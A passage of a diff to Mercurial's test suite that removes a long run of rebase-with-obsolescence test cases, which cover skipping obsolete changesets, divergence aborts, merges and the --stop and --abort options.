rebase 6:f15c3adaf214 without moving at least one of its parents - [255] + [10] $ cd .. @@ -743,1398 +743,3 @@ 1 new orphan changesets $ cd .. - -Skip obsolete changeset even with multiple hops ------------------------------------------------ - -setup - - $ hg init obsskip - $ cd obsskip - $ cat << EOF >> .hg/hgrc - > [experimental] - > rebaseskipobsolete = True - > [extensions] - > strip = - > EOF - $ echo A > A - $ hg add A - $ hg commit -m A - $ echo B > B - $ hg add B - $ hg commit -m B0 - $ hg commit --amend -m B1 - $ hg commit --amend -m B2 - $ hg up --hidden 'desc(B0)' - 0 files updated, 0 files merged, 0 files removed, 0 files unresolved - updated to hidden changeset a8b11f55fb19 - (hidden revision 'a8b11f55fb19' was rewritten as: 261e70097290) - $ echo C > C - $ hg add C - $ hg commit -m C - 1 new orphan changesets - $ hg log -G - @ 4:212cb178bcbb C - | - | o 3:261e70097290 B2 - | | - x | 1:a8b11f55fb19 B0 (rewritten using amend as 3:261e70097290) - |/ - o 0:4a2df7238c3b A - - -Rebase finds its way in a chain of marker - - $ hg rebase -d 'desc(B2)' - note: not rebasing 1:a8b11f55fb19 "B0", already in destination as 3:261e70097290 "B2" - rebasing 4:212cb178bcbb tip "C" - -Even when the chain include missing node - - $ hg up --hidden 'desc(B0)' - 0 files updated, 0 files merged, 1 files removed, 0 files unresolved - updated to hidden changeset a8b11f55fb19 - (hidden revision 'a8b11f55fb19' was rewritten as: 261e70097290) - $ echo D > D - $ hg add D - $ hg commit -m D - 1 new orphan changesets - $ hg --hidden strip -r 'desc(B1)' - saved backup bundle to $TESTTMP/obsskip/.hg/strip-backup/86f6414ccda7-b1c452ee-backup.hg - 1 new orphan changesets - $ hg log -G - @ 5:1a79b7535141 D - | - | o 4:ff2c4d47b71d C - | | - | o 2:261e70097290 B2 - | | - x | 1:a8b11f55fb19 B0 (rewritten using amend as 2:261e70097290) - |/ - o 0:4a2df7238c3b A - - - $ hg rebase -d 'desc(B2)' - note: not rebasing 1:a8b11f55fb19 "B0", already in destination as 2:261e70097290 "B2" - rebasing 5:1a79b7535141 tip "D" - $ hg up 4 - 1 files updated, 0 files merged, 1 files removed, 0 files unresolved - $ echo "O" > O - $ hg add O - $ hg commit -m O - $ echo "P" > P - $ hg add P - $ hg commit -m P - $ hg log -G - @ 8:8d47583e023f P - | - o 7:360bbaa7d3ce O - | - | o 6:9c48361117de D - | | - o | 4:ff2c4d47b71d C - |/ - o 2:261e70097290 B2 - | - o 0:4a2df7238c3b A - - $ hg debugobsolete `hg log -r 7 -T '{node}\n'` --config experimental.evolution=true - 1 new obsolescence markers - obsoleted 1 changesets - 1 new orphan changesets - $ hg rebase -d 6 -r "4::" - rebasing 4:ff2c4d47b71d "C" - note: not rebasing 7:360bbaa7d3ce "O", it has no successor - rebasing 8:8d47583e023f tip "P" - -If all the changeset to be rebased are obsolete and present in the destination, we -should display a friendly error message - - $ hg log -G - @ 10:121d9e3bc4c6 P - | - o 9:4be60e099a77 C - | - o 6:9c48361117de D - | - o 2:261e70097290 B2 - | - o 0:4a2df7238c3b A - - - $ hg up 9 - 0 files updated, 0 files merged, 1 files removed, 0 files unresolved - $ echo "non-relevant change" > nonrelevant - $ hg add nonrelevant - $ hg commit -m nonrelevant - created new head - $ hg debugobsolete `hg log -r 11 -T '{node}\n'` --config experimental.evolution=true - 1 new obsolescence markers - obsoleted 1 changesets - $ hg log -G - @ 11:f44da1f4954c nonrelevant (pruned) - | - | o 10:121d9e3bc4c6 P - |/ - o 9:4be60e099a77 C - | - o 6:9c48361117de D - | - o 2:261e70097290 B2 - | - o 0:4a2df7238c3b A - - $ hg rebase -r . -d 10 - note: not rebasing 11:f44da1f4954c tip "nonrelevant", it has no successor - -If a rebase is going to create divergence, it should abort - - $ hg log -G - @ 10:121d9e3bc4c6 P - | - o 9:4be60e099a77 C - | - o 6:9c48361117de D - | - o 2:261e70097290 B2 - | - o 0:4a2df7238c3b A - - - $ hg up 9 - 0 files updated, 0 files merged, 1 files removed, 0 files unresolved - $ echo "john" > doe - $ hg add doe - $ hg commit -m "john doe" - created new head - $ hg up 10 - 1 files updated, 0 files merged, 1 files removed, 0 files unresolved - $ echo "foo" > bar - $ hg add bar - $ hg commit --amend -m "10'" - $ hg up 10 --hidden - 0 files updated, 0 files merged, 1 files removed, 0 files unresolved - updated to hidden changeset 121d9e3bc4c6 - (hidden revision '121d9e3bc4c6' was rewritten as: 77d874d096a2) - $ echo "bar" > foo - $ hg add foo - $ hg commit -m "bar foo" - 1 new orphan changesets - $ hg log -G - @ 14:73568ab6879d bar foo - | - | o 13:77d874d096a2 10' - | | - | | o 12:3eb461388009 john doe - | |/ - x | 10:121d9e3bc4c6 P (rewritten using amend as 13:77d874d096a2) - |/ - o 9:4be60e099a77 C - | - o 6:9c48361117de D - | - o 2:261e70097290 B2 - | - o 0:4a2df7238c3b A - - $ hg summary - parent: 14:73568ab6879d tip (orphan) - bar foo - branch: default - commit: (clean) - update: 2 new changesets, 3 branch heads (merge) - phases: 8 draft - orphan: 1 changesets - $ hg rebase -s 10 -d 12 - abort: this rebase will cause divergences from: 121d9e3bc4c6 - (to force the rebase please set experimental.evolution.allowdivergence=True) - [255] - $ hg log -G - @ 14:73568ab6879d bar foo - | - | o 13:77d874d096a2 10' - | | - | | o 12:3eb461388009 john doe - | |/ - x | 10:121d9e3bc4c6 P (rewritten using amend as 13:77d874d096a2) - |/ - o 9:4be60e099a77 C - | - o 6:9c48361117de D - | - o 2:261e70097290 B2 - | - o 0:4a2df7238c3b A - -With experimental.evolution.allowdivergence=True, rebase can create divergence - - $ hg rebase -s 10 -d 12 --config experimental.evolution.allowdivergence=True - rebasing 10:121d9e3bc4c6 "P" - rebasing 14:73568ab6879d tip "bar foo" - 2 new content-divergent changesets - $ hg summary - parent: 16:61bd55f69bc4 tip - bar foo - branch: default - commit: (clean) - update: 1 new changesets, 2 branch heads (merge) - phases: 8 draft - content-divergent: 2 changesets - -rebase --continue + skipped rev because their successors are in destination -we make a change in trunk and work on conflicting changes to make rebase abort. - - $ hg log -G -r 16:: - @ 16:61bd55f69bc4 bar foo - | - ~ - -Create the two changes in trunk - $ printf "a" > willconflict - $ hg add willconflict - $ hg commit -m "willconflict first version" - - $ printf "dummy" > C - $ hg commit -m "dummy change successor" - -Create the changes that we will rebase - $ hg update -C 16 -q - $ printf "b" > willconflict - $ hg add willconflict - $ hg commit -m "willconflict second version" - created new head - $ printf "dummy" > K - $ hg add K - $ hg commit -m "dummy change" - $ printf "dummy" > L - $ hg add L - $ hg commit -m "dummy change" - $ hg debugobsolete `hg log -r ".^" -T '{node}'` `hg log -r 18 -T '{node}'` --config experimental.evolution=true - 1 new obsolescence markers - obsoleted 1 changesets - 1 new orphan changesets - - $ hg log -G -r 16:: - @ 21:7bdc8a87673d dummy change - | - x 20:8b31da3c4919 dummy change (rewritten as 18:601db7a18f51) - | - o 19:b82fb57ea638 willconflict second version - | - | o 18:601db7a18f51 dummy change successor - | | - | o 17:357ddf1602d5 willconflict first version - |/ - o 16:61bd55f69bc4 bar foo - | - ~ - $ hg rebase -r ".^^ + .^ + ." -d 18 - rebasing 19:b82fb57ea638 "willconflict second version" - merging willconflict - warning: conflicts while merging willconflict! (edit, then use 'hg resolve --mark') - unresolved conflicts (see 'hg resolve', then 'hg rebase --continue') - [240] - - $ hg resolve --mark willconflict - (no more unresolved files) - continue: hg rebase --continue - $ hg rebase --continue - rebasing 19:b82fb57ea638 "willconflict second version" - note: not rebasing 20:8b31da3c4919 "dummy change", already in destination as 18:601db7a18f51 "dummy change successor" - rebasing 21:7bdc8a87673d tip "dummy change" - $ cd .. - -Divergence cases due to obsolete changesets -------------------------------------------- - -We should ignore branches with unstable changesets when they are based on an -obsolete changeset which successor is in rebase set. - - $ hg init divergence - $ cd divergence - $ cat >> .hg/hgrc << EOF - > [extensions] - > strip = - > [alias] - > strip = strip --no-backup --quiet - > [templates] - > instabilities = '{rev}:{node|short} {desc|firstline}{if(instabilities," ({instabilities})")}\n' - > EOF - - $ hg debugdrawdag < e f - > | | - > d' d # replace: d -> d' - > \ / - > c - > | - > x b - > \| - > a - > EOF - 1 new orphan changesets - $ hg log -G -r 'a':: - * 7:1143e9adc121 f - | - | o 6:d60ebfa0f1cb e - | | - | o 5:027ad6c5830d d' - | | - x | 4:76be324c128b d (rewritten using replace as 5:027ad6c5830d) - |/ - o 3:a82ac2b38757 c - | - | o 2:630d7c95eff7 x - | | - o | 1:488e1b7e7341 b - |/ - o 0:b173517d0057 a - - -Changeset d and its descendants are excluded to avoid divergence of d, which -would occur because the successor of d (d') is also in rebaseset. As a -consequence f (descendant of d) is left behind. - - $ hg rebase -b 'e' -d 'x' - rebasing 1:488e1b7e7341 b "b" - rebasing 3:a82ac2b38757 c "c" - rebasing 5:027ad6c5830d d' "d'" - rebasing 6:d60ebfa0f1cb e "e" - note: not rebasing 4:76be324c128b d "d" and its descendants as this would cause divergence - $ hg log -G -r 'a':: - o 11:eb6d63fc4ed5 e - | - o 10:44d8c724a70c d' - | - o 9:d008e6b4d3fd c - | - o 8:67e8f4a16c49 b - | - | * 7:1143e9adc121 f - | | - | | x 6:d60ebfa0f1cb e (rewritten using rebase as 11:eb6d63fc4ed5) - | | | - | | x 5:027ad6c5830d d' (rewritten using rebase as 10:44d8c724a70c) - | | | - | x | 4:76be324c128b d (rewritten using replace as 5:027ad6c5830d) - | |/ - | x 3:a82ac2b38757 c (rewritten using rebase as 9:d008e6b4d3fd) - | | - o | 2:630d7c95eff7 x - | | - | x 1:488e1b7e7341 b (rewritten using rebase as 8:67e8f4a16c49) - |/ - o 0:b173517d0057 a - - $ hg strip -r 8: - $ hg log -G -r 'a':: - * 7:1143e9adc121 f - | - | o 6:d60ebfa0f1cb e - | | - | o 5:027ad6c5830d d' - | | - x | 4:76be324c128b d (rewritten using replace as 5:027ad6c5830d) - |/ - o 3:a82ac2b38757 c - | - | o 2:630d7c95eff7 x - | | - o | 1:488e1b7e7341 b - |/ - o 0:b173517d0057 a - - -If the rebase set has an obsolete (d) with a successor (d') outside the rebase -set and none in destination, we still get the divergence warning. -By allowing divergence, we can perform the rebase. - - $ hg rebase -r 'c'::'f' -d 'x' - abort: this rebase will cause divergences from: 76be324c128b - (to force the rebase please set experimental.evolution.allowdivergence=True) - [255] - $ hg rebase --config experimental.evolution.allowdivergence=true -r 'c'::'f' -d 'x' - rebasing 3:a82ac2b38757 c "c" - rebasing 4:76be324c128b d "d" - rebasing 7:1143e9adc121 f tip "f" - 1 new orphan changesets - 2 new content-divergent changesets - $ hg log -G -r 'a':: -T instabilities - o 10:e1744ea07510 f - | - * 9:e2b36ea9a0a0 d (content-divergent) - | - o 8:6a0376de376e c - | - | x 7:1143e9adc121 f - | | - | | * 6:d60ebfa0f1cb e (orphan) - | | | - | | * 5:027ad6c5830d d' (orphan content-divergent) - | | | - | x | 4:76be324c128b d - | |/ - | x 3:a82ac2b38757 c - | | - o | 2:630d7c95eff7 x - | | - | o 1:488e1b7e7341 b - |/ - o 0:b173517d0057 a - - $ hg strip -r 8: - -(Not skipping obsoletes means that divergence is allowed.) - - $ hg rebase --config experimental.rebaseskipobsolete=false -r 'c'::'f' -d 'x' - rebasing 3:a82ac2b38757 c "c" - rebasing 4:76be324c128b d "d" - rebasing 7:1143e9adc121 f tip "f" - 1 new orphan changesets - 2 new content-divergent changesets - - $ hg strip -r 0: - -Similar test on a more complex graph - - $ hg debugdrawdag < g - > | - > f e - > | | - > e' d # replace: e -> e' - > \ / - > c - > | - > x b - > \| - > a - > EOF - 1 new orphan changesets - $ hg log -G -r 'a': - * 8:2876ce66c6eb g - | - | o 7:3ffec603ab53 f - | | - x | 6:e36fae928aec e (rewritten using replace as 5:63324dc512ea) - | | - | o 5:63324dc512ea e' - | | - o | 4:76be324c128b d - |/ - o 3:a82ac2b38757 c - | - | o 2:630d7c95eff7 x - | | - o | 1:488e1b7e7341 b - |/ - o 0:b173517d0057 a - - $ hg rebase -b 'f' -d 'x' - rebasing 1:488e1b7e7341 b "b" - rebasing 3:a82ac2b38757 c "c" - rebasing 5:63324dc512ea e' "e'" - rebasing 7:3ffec603ab53 f "f" - rebasing 4:76be324c128b d "d" - note: not rebasing 6:e36fae928aec e "e" and its descendants as this would cause divergence - $ hg log -G -r 'a': - o 13:a1707a5b7c2c d - | - | o 12:ef6251596616 f - | | - | o 11:b6f172e64af9 e' - |/ - o 10:d008e6b4d3fd c - | - o 9:67e8f4a16c49 b - | - | * 8:2876ce66c6eb g - | | - | | x 7:3ffec603ab53 f (rewritten using rebase as 12:ef6251596616) - | | | - | x | 6:e36fae928aec e (rewritten using replace as 5:63324dc512ea) - | | | - | | x 5:63324dc512ea e' (rewritten using rebase as 11:b6f172e64af9) - | | | - | x | 4:76be324c128b d (rewritten using rebase as 13:a1707a5b7c2c) - | |/ - | x 3:a82ac2b38757 c (rewritten using rebase as 10:d008e6b4d3fd) - | | - o | 2:630d7c95eff7 x - | | - | x 1:488e1b7e7341 b (rewritten using rebase as 9:67e8f4a16c49) - |/ - o 0:b173517d0057 a - - -issue5782 - $ hg strip -r 0: - $ hg debugdrawdag < d - > | - > c1 c # replace: c -> c1 - > \ / - > b - > | - > a - > EOF - 1 new orphan changesets - $ hg debugobsolete `hg log -T "{node}" --hidden -r 'desc("c1")'` - 1 new obsolescence markers - obsoleted 1 changesets - $ hg log -G -r 'a': --hidden - * 4:76be324c128b d - | - | x 3:ef8a456de8fa c1 (pruned) - | | - x | 2:a82ac2b38757 c (rewritten using replace as 3:ef8a456de8fa) - |/ - o 1:488e1b7e7341 b - | - o 0:b173517d0057 a - - $ hg rebase -d 0 -r 2 - rebasing 2:a82ac2b38757 c "c" - $ hg log -G -r 'a': --hidden - o 5:69ad416a4a26 c - | - | * 4:76be324c128b d - | | - | | x 3:ef8a456de8fa c1 (pruned) - | | | - | x | 2:a82ac2b38757 c (rewritten using replace as 3:ef8a456de8fa rewritten using rebase as 5:69ad416a4a26) - | |/ - | o 1:488e1b7e7341 b - |/ - o 0:b173517d0057 a - - $ cd .. - -Rebase merge where successor of one parent is equal to destination (issue5198) - - $ hg init p1-succ-is-dest - $ cd p1-succ-is-dest - - $ hg debugdrawdag < F - > /| - > E D B # replace: D -> B - > \|/ - > A - > EOF - 1 new orphan changesets - - $ hg rebase -d B -s D - note: not rebasing 2:b18e25de2cf5 D "D", already in destination as 1:112478962961 B "B" - rebasing 4:66f1a38021c9 F tip "F" - $ hg log -G - o 5:50e9d60b99c6 F - |\ - | | x 4:66f1a38021c9 F (rewritten using rebase as 5:50e9d60b99c6) - | |/| - | o | 3:7fb047a69f22 E - | | | - | | x 2:b18e25de2cf5 D (rewritten using replace as 1:112478962961) - | |/ - o | 1:112478962961 B - |/ - o 0:426bada5c675 A - - $ cd .. - -Rebase merge where successor of other parent is equal to destination - - $ hg init p2-succ-is-dest - $ cd p2-succ-is-dest - - $ hg debugdrawdag < F - > /| - > E D B # replace: E -> B - > \|/ - > A - > EOF - 1 new orphan changesets - - $ hg rebase -d B -s E - note: not rebasing 3:7fb047a69f22 E "E", already in destination as 1:112478962961 B "B" - rebasing 4:66f1a38021c9 F tip "F" - $ hg log -G - o 5:aae1787dacee F - |\ - | | x 4:66f1a38021c9 F (rewritten using rebase as 5:aae1787dacee) - | |/| - | | x 3:7fb047a69f22 E (rewritten using replace as 1:112478962961) - | | | - | o | 2:b18e25de2cf5 D - | |/ - o / 1:112478962961 B - |/ - o 0:426bada5c675 A - - $ cd .. - -Rebase merge where successor of one parent is ancestor of destination - - $ hg init p1-succ-in-dest - $ cd p1-succ-in-dest - - $ hg debugdrawdag < F C - > /| | - > E D B # replace: D -> B - > \|/ - > A - > EOF - 1 new orphan changesets - - $ hg rebase -d C -s D - note: not rebasing 2:b18e25de2cf5 D "D", already in destination as 1:112478962961 B "B" - rebasing 5:66f1a38021c9 F tip "F" - - $ hg log -G - o 6:0913febf6439 F - |\ - +---x 5:66f1a38021c9 F (rewritten using rebase as 6:0913febf6439) - | | | - | o | 4:26805aba1e60 C - | | | - o | | 3:7fb047a69f22 E - | | | - +---x 2:b18e25de2cf5 D (rewritten using replace as 1:112478962961) - | | - | o 1:112478962961 B - |/ - o 0:426bada5c675 A - - $ cd .. - -Rebase merge where successor of other parent is ancestor of destination - - $ hg init p2-succ-in-dest - $ cd p2-succ-in-dest - - $ hg debugdrawdag < F C - > /| | - > E D B # replace: E -> B - > \|/ - > A - > EOF - 1 new orphan changesets - - $ hg rebase -d C -s E - note: not rebasing 3:7fb047a69f22 E "E", already in destination as 1:112478962961 B "B" - rebasing 5:66f1a38021c9 F tip "F" - $ hg log -G - o 6:c6ab0cc6d220 F - |\ - +---x 5:66f1a38021c9 F (rewritten using rebase as 6:c6ab0cc6d220) - | | | - | o | 4:26805aba1e60 C - | | | - | | x 3:7fb047a69f22 E (rewritten using replace as 1:112478962961) - | | | - o---+ 2:b18e25de2cf5 D - / / - o / 1:112478962961 B - |/ - o 0:426bada5c675 A - - $ cd .. - -Rebase merge where successor of one parent is ancestor of destination - - $ hg init p1-succ-in-dest-b - $ cd p1-succ-in-dest-b - - $ hg debugdrawdag < F C - > /| | - > E D B # replace: E -> B - > \|/ - > A - > EOF - 1 new orphan changesets - - $ hg rebase -d C -b F - rebasing 2:b18e25de2cf5 D "D" - note: not rebasing 3:7fb047a69f22 E "E", already in destination as 1:112478962961 B "B" - rebasing 5:66f1a38021c9 F tip "F" - note: not rebasing 5:66f1a38021c9 F tip "F", its destination already has all its changes - $ hg log -G - o 6:8f47515dda15 D - | - | x 5:66f1a38021c9 F (pruned using rebase) - | |\ - o | | 4:26805aba1e60 C - | | | - | | x 3:7fb047a69f22 E (rewritten using replace as 1:112478962961) - | | | - | x | 2:b18e25de2cf5 D (rewritten using rebase as 6:8f47515dda15) - | |/ - o / 1:112478962961 B - |/ - o 0:426bada5c675 A - - $ cd .. - -Rebase merge where successor of other parent is ancestor of destination - - $ hg init p2-succ-in-dest-b - $ cd p2-succ-in-dest-b - - $ hg debugdrawdag < F C - > /| | - > E D B # replace: D -> B - > \|/ - > A - > EOF - 1 new orphan changesets - - $ hg rebase -d C -b F - note: not rebasing 2:b18e25de2cf5 D "D", already in destination as 1:112478962961 B "B" - rebasing 3:7fb047a69f22 E "E" - rebasing 5:66f1a38021c9 F tip "F" - note: not rebasing 5:66f1a38021c9 F tip "F", its destination already has all its changes - - $ hg log -G - o 6:533690786a86 E - | - | x 5:66f1a38021c9 F (pruned using rebase) - | |\ - o | | 4:26805aba1e60 C - | | | - | | x 3:7fb047a69f22 E (rewritten using rebase as 6:533690786a86) - | | | - | x | 2:b18e25de2cf5 D (rewritten using replace as 1:112478962961) - | |/ - o / 1:112478962961 B - |/ - o 0:426bada5c675 A - - $ cd .. - -Rebase merge where extinct node has successor that is not an ancestor of -destination - - $ hg init extinct-with-succ-not-in-dest - $ cd extinct-with-succ-not-in-dest - - $ hg debugdrawdag < E C # replace: C -> E - > | | - > D B - > |/ - > A - > EOF - - $ hg rebase -d D -s B - rebasing 1:112478962961 B "B" - note: not rebasing 3:26805aba1e60 C "C" and its descendants as this would cause divergence - - $ cd .. - - $ hg init p2-succ-in-dest-c - $ cd p2-succ-in-dest-c - -The scenario here was that B::D were developed on default. B was queued on -stable, but amended before being push to hg-committed. C was queued on default, -along with unrelated J. - - $ hg debugdrawdag < J - > | - > F - > | - > E - > | D - > | | - > | C # replace: C -> F - > | | H I # replace: B -> H -> I - > | B |/ - > |/ G - > A - > EOF - 1 new orphan changesets - -This strip seems to be the key to avoid an early divergence warning. - $ hg --config extensions.strip= --hidden strip -qr H - 1 new orphan changesets - - $ hg rebase -b 'desc("D")' -d 'desc("J")' - abort: this rebase will cause divergences from: 112478962961 - (to force the rebase please set experimental.evolution.allowdivergence=True) - [255] - -Rebase merge where both parents have successors in destination - - $ hg init p12-succ-in-dest - $ cd p12-succ-in-dest - $ hg debugdrawdag <<'EOS' - > E F - > /| /| # replace: A -> C - > A B C D # replace: B -> D - > | | - > X Y - > EOS - 1 new orphan changesets - $ hg rebase -r A+B+E -d F - note: not rebasing 4:a3d17304151f A "A", already in destination as 0:96cc3511f894 C "C" - note: not rebasing 5:b23a2cc00842 B "B", already in destination as 1:058c1e1fb10a D "D" - rebasing 7:dac5d11c5a7d E tip "E" - abort: rebasing 7:dac5d11c5a7d will include unwanted changes from 3:59c792af609c, 5:b23a2cc00842 or 2:ba2b7fa7166d, 4:a3d17304151f - [255] - $ cd .. - -Rebase a non-clean merge. One parent has successor in destination, the other -parent moves as requested. - - $ hg init p1-succ-p2-move - $ cd p1-succ-p2-move - $ hg debugdrawdag <<'EOS' - > D Z - > /| | # replace: A -> C - > A B C # D/D = D - > EOS - 1 new orphan changesets - $ hg rebase -r A+B+D -d Z - note: not rebasing 0:426bada5c675 A "A", already in destination as 2:96cc3511f894 C "C" - rebasing 1:fc2b737bb2e5 B "B" - rebasing 3:b8ed089c80ad D "D" - - $ rm .hg/localtags - $ hg log -G - o 6:e4f78693cc88 D - | - o 5:76840d832e98 B - | - o 4:50e41c1f3950 Z - | - o 2:96cc3511f894 C - - $ hg files -r tip - B - C - D - Z - - $ cd .. - - $ hg init p1-move-p2-succ - $ cd p1-move-p2-succ - $ hg debugdrawdag <<'EOS' - > D Z - > /| | # replace: B -> C - > A B C # D/D = D - > EOS - 1 new orphan changesets - $ hg rebase -r B+A+D -d Z - rebasing 0:426bada5c675 A "A" - note: not rebasing 1:fc2b737bb2e5 B "B", already in destination as 2:96cc3511f894 C "C" - rebasing 3:b8ed089c80ad D "D" - - $ rm .hg/localtags - $ hg log -G - o 6:1b355ed94d82 D - | - o 5:a81a74d764a6 A - | - o 4:50e41c1f3950 Z - | - o 2:96cc3511f894 C - - $ hg files -r tip - A - C - D - Z - - $ cd .. - -Test that bookmark is moved and working dir is updated when all changesets have -equivalents in destination - $ hg init rbsrepo && cd rbsrepo - $ echo "[experimental]" > .hg/hgrc - $ echo "evolution=true" >> .hg/hgrc - $ echo "rebaseskipobsolete=on" >> .hg/hgrc - $ echo root > root && hg ci -Am root - adding root - $ echo a > a && hg ci -Am a - adding a - $ hg up 0 - 0 files updated, 0 files merged, 1 files removed, 0 files unresolved - $ echo b > b && hg ci -Am b - adding b - created new head - $ hg rebase -r 2 -d 1 - rebasing 2:1e9a3c00cbe9 tip "b" - $ hg log -r . # working dir is at rev 3 (successor of 2) - 3:be1832deae9a b (no-eol) - $ hg book -r 2 mybook --hidden # rev 2 has a bookmark on it now - bookmarking hidden changeset 1e9a3c00cbe9 - (hidden revision '1e9a3c00cbe9' was rewritten as: be1832deae9a) - $ hg up 2 && hg log -r . # working dir is at rev 2 again - 0 files updated, 0 files merged, 1 files removed, 0 files unresolved - 2:1e9a3c00cbe9 b (rewritten using rebase as 3:be1832deae9a) (no-eol) - $ hg rebase -r 2 -d 3 --config experimental.evolution.track-operation=1 - note: not rebasing 2:1e9a3c00cbe9 mybook "b", already in destination as 3:be1832deae9a tip "b" -Check that working directory and bookmark was updated to rev 3 although rev 2 -was skipped - $ hg log -r . - 3:be1832deae9a b (no-eol) - $ hg bookmarks - mybook 3:be1832deae9a - $ hg debugobsolete --rev tip - 1e9a3c00cbe90d236ac05ef61efcc5e40b7412bc be1832deae9ac531caa7438b8dcf6055a122cd8e 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '4', 'operation': 'rebase', 'user': 'test'} - -Obsoleted working parent and bookmark could be moved if an ancestor of working -parent gets moved: - - $ hg init $TESTTMP/ancestor-wd-move - $ cd $TESTTMP/ancestor-wd-move - $ hg debugdrawdag <<'EOS' - > E D1 # rebase: D1 -> D2 - > | | - > | C - > D2 | - > | B - > |/ - > A - > EOS - $ hg update D1 -q - $ hg bookmark book -i - $ hg rebase -r B+D1 -d E - rebasing 1:112478962961 B "B" - note: not rebasing 5:15ecf15e0114 book D1 tip "D1", already in destination as 2:0807738e0be9 D2 "D2" - 1 new orphan changesets - $ hg log -G -T '{desc} {bookmarks}' - @ B book - | - | x D1 - | | - o | E - | | - | * C - | | - o | D2 - | | - | x B - |/ - o A - -Rebasing a merge with one of its parent having a hidden successor - - $ hg init $TESTTMP/merge-p1-hidden-successor - $ cd $TESTTMP/merge-p1-hidden-successor - - $ hg debugdrawdag <<'EOS' - > E - > | - > B3 B2 # amend: B1 -> B2 -> B3 - > |/ # B2 is hidden - > | D - > | |\ - > | B1 C - > |/ - > A - > EOS - 1 new orphan changesets - - $ eval `hg tags -T '{tag}={node}\n'` - $ rm .hg/localtags - - $ hg rebase -r $D -d $E - rebasing 5:9e62094e4d94 "D" - - $ hg log -G - o 7:a699d059adcf D - |\ - | o 6:ecc93090a95c E - | | - | o 4:0dc878468a23 B3 - | | - o | 1:96cc3511f894 C - / - o 0:426bada5c675 A - -For some reasons (--hidden, rebaseskipobsolete=0, directaccess, etc.), -rebasestate may contain hidden hashes. "rebase --abort" should work regardless. - - $ hg init $TESTTMP/hidden-state1 - $ cd $TESTTMP/hidden-state1 - $ cat >> .hg/hgrc < [experimental] - > rebaseskipobsolete=0 - > EOF - - $ hg debugdrawdag <<'EOS' - > C - > | - > D B # prune: B, C - > |/ # B/D=B - > A - > EOS - - $ eval `hg tags -T '{tag}={node}\n'` - $ rm .hg/localtags - - $ hg update -q $C --hidden - updated to hidden changeset 7829726be4dc - (hidden revision '7829726be4dc' is pruned) - $ hg rebase -s $B -d $D - rebasing 1:2ec65233581b "B" - merging D - warning: conflicts while merging D! (edit, then use 'hg resolve --mark') - unresolved conflicts (see 'hg resolve', then 'hg rebase --continue') - [240] - - $ cp -R . $TESTTMP/hidden-state2 - - $ hg log -G - @ 2:b18e25de2cf5 D - | - | % 1:2ec65233581b B (pruned using prune) - |/ - o 0:426bada5c675 A - - $ hg summary - parent: 2:b18e25de2cf5 tip - D - branch: default - commit: 1 modified, 1 added, 1 unknown, 1 unresolved - update: 1 new changesets, 2 branch heads (merge) - phases: 3 draft - rebase: 0 rebased, 2 remaining (rebase --continue) - - $ hg rebase --abort - rebase aborted - -Also test --continue for the above case - - $ cd $TESTTMP/hidden-state2 - $ hg resolve -m - (no more unresolved files) - continue: hg rebase --continue - $ hg rebase --continue - rebasing 1:2ec65233581b "B" - rebasing 3:7829726be4dc tip "C" - $ hg log -G - @ 5:1964d5d5b547 C - | - o 4:68deb90c12a2 B - | - o 2:b18e25de2cf5 D - | - o 0:426bada5c675 A - -==================== -Test --stop option | -==================== - $ cd .. - $ hg init rbstop - $ cd rbstop - $ echo a>a - $ hg ci -Aqma - $ echo b>b - $ hg ci -Aqmb - $ echo c>c - $ hg ci -Aqmc - $ echo d>d - $ hg ci -Aqmd - $ hg up 0 -q - $ echo f>f - $ hg ci -Aqmf - $ echo D>d - $ hg ci -Aqm "conflict with d" - $ hg up 3 -q - $ hg log -G --template "{rev}:{short(node)} {person(author)}\n{firstline(desc)} {topic}\n\n" - o 5:00bfc9898aeb test - | conflict with d - | - o 4:dafd40200f93 test - | f - | - | @ 3:055a42cdd887 test - | | d - | | - | o 2:177f92b77385 test - | | c - | | - | o 1:d2ae7f538514 test - |/ b - | - o 0:cb9a9f314b8b test - a - - $ hg rebase -s 1 -d 5 - rebasing 1:d2ae7f538514 "b" - rebasing 2:177f92b77385 "c" - rebasing 3:055a42cdd887 "d" - merging d - warning: conflicts while merging d! (edit, then use 'hg resolve --mark') - unresolved conflicts (see 'hg resolve', then 'hg rebase --continue') - [240] - $ hg rebase --stop - 1 new orphan changesets - $ hg log -G --template "{rev}:{short(node)} {person(author)}\n{firstline(desc)} {topic}\n\n" - o 7:7fffad344617 test - | c - | - o 6:b15528633407 test - | b - | - o 5:00bfc9898aeb test - | conflict with d - | - o 4:dafd40200f93 test - | f - | - | @ 3:055a42cdd887 test - | | d - | | - | x 2:177f92b77385 test - | | c - | | - | x 1:d2ae7f538514 test - |/ b - | - o 0:cb9a9f314b8b test - a - -Test it aborts if unstable csets is not allowed: -=============================================== - $ cat >> $HGRCPATH << EOF - > [experimental] - > evolution.allowunstable=False - > EOF - - $ hg strip 6 --no-backup -q - $ hg log -G --template "{rev}:{short(node)} {person(author)}\n{firstline(desc)} {topic}\n\n" - o 5:00bfc9898aeb test - | conflict with d - | - o 4:dafd40200f93 test - | f - | - | @ 3:055a42cdd887 test - | | d - | | - | o 2:177f92b77385 test - | | c - | | - | o 1:d2ae7f538514 test - |/ b - | - o 0:cb9a9f314b8b test - a - - $ hg rebase -s 1 -d 5 - rebasing 1:d2ae7f538514 "b" - rebasing 2:177f92b77385 "c" - rebasing 3:055a42cdd887 "d" - merging d - warning: conflicts while merging d! (edit, then use 'hg resolve --mark') - unresolved conflicts (see 'hg resolve', then 'hg rebase --continue') - [240] - $ hg rebase --stop - abort: cannot remove original changesets with unrebased descendants - (either enable obsmarkers to allow unstable revisions or use --keep to keep original changesets) - [255] - $ hg rebase --abort - saved backup bundle to $TESTTMP/rbstop/.hg/strip-backup/b15528633407-6eb72b6f-backup.hg - rebase aborted - -Test --stop when --keep is passed: -================================== - $ hg rebase -s 1 -d 5 --keep - rebasing 1:d2ae7f538514 "b" - rebasing 2:177f92b77385 "c" - rebasing 3:055a42cdd887 "d" - merging d - warning: conflicts while merging d! (edit, then use 'hg resolve --mark') - unresolved conflicts (see 'hg resolve', then 'hg rebase --continue') - [240] - $ hg rebase --stop - $ hg log -G --template "{rev}:{short(node)} {person(author)}\n{firstline(desc)} {topic}\n\n" - o 7:7fffad344617 test - | c - | - o 6:b15528633407 test - | b - | - o 5:00bfc9898aeb test - | conflict with d - | - o 4:dafd40200f93 test - | f - | - | @ 3:055a42cdd887 test - | | d - | | - | o 2:177f92b77385 test - | | c - | | - | o 1:d2ae7f538514 test - |/ b - | - o 0:cb9a9f314b8b test - a - -Test 